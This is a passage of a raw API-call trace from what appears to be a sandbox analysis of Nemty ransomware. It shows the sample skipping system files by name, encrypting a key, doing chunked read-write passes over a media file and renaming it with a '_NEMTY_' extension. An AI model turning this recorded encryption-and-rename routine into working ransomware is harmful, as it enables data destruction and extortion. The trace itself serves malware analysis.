lpString2="..") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="...") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="windows") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="$RECYCLE.BIN") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="rsa") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="NTDETECT.COM") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="ntldr") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="MSDOS.SYS") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="IO.SYS") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="boot.ini") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="boot.ini") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="ntuser.dat") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="desktop.ini") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="CONFIG.SYS") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="RECYCLER") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="BOOTSECT.BAK") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="bootmgr") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="programdata") returned 1 [0106.516] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2="appdata") returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.516] Sleep (dwMilliseconds=0x5) [0106.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf324d290, dwHighDateTime=0x1d561e7)) [0106.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf324d290, dwHighDateTime=0x1d561e7)) [0106.530] GetLastError () returned 0x5 [0106.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.530] GetLastError () returned 0x5 [0106.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.531] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.531] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="L9GLGntJtgw8XqpLXU9IEYV15V8AxXJc/kZKPa0jRbAZKl1AAPbJSFi3AHdMBI2j\r\nAzMZp7Ia8xIR1KdURnzCt3h1x/udtRqxM3288oHqmivgWBGvd0SSSU3DE/LVWzge\r\nwfza+GjwJrWCYxpjObgal6VVl216uK8ZMUOYq92qw2ilUNswpLZQ2UZ+mS/qZ2dq\r\nJZelxES2hYyAJXZbnOZ8SjAfAJloUsAFPYSpDene19VgnNV6AGU8Gvg+osBYLjop\r\nHLjnJdAx1/Ii9dNExt/EE5wvCH16WBFZpB/gMOjt94OqXtkcWUBi+dJVTRpmBez0\r\nU2iIZHFKlusNpcet5wJRDA==\r\n", pcchString=0x653ef9c) returned 1 [0106.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.531] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.531] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.637] CloseHandle (hObject=0xffffffff) returned 0 [0106.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0106.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0106.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0106.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0106.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp._nemty_kgobjgd_")) returned 0 [0106.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.638] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24cd, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="..") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="...") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="windows") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="$RECYCLE.BIN") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="rsa") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="NTDETECT.COM") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="ntldr") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="MSDOS.SYS") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="IO.SYS") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="boot.ini") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="boot.ini") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="ntuser.dat") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="desktop.ini") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="CONFIG.SYS") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="RECYCLER") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="BOOTSECT.BAK") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="bootmgr") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="programdata") returned 1 [0106.638] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2="appdata") returned 1 [0106.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 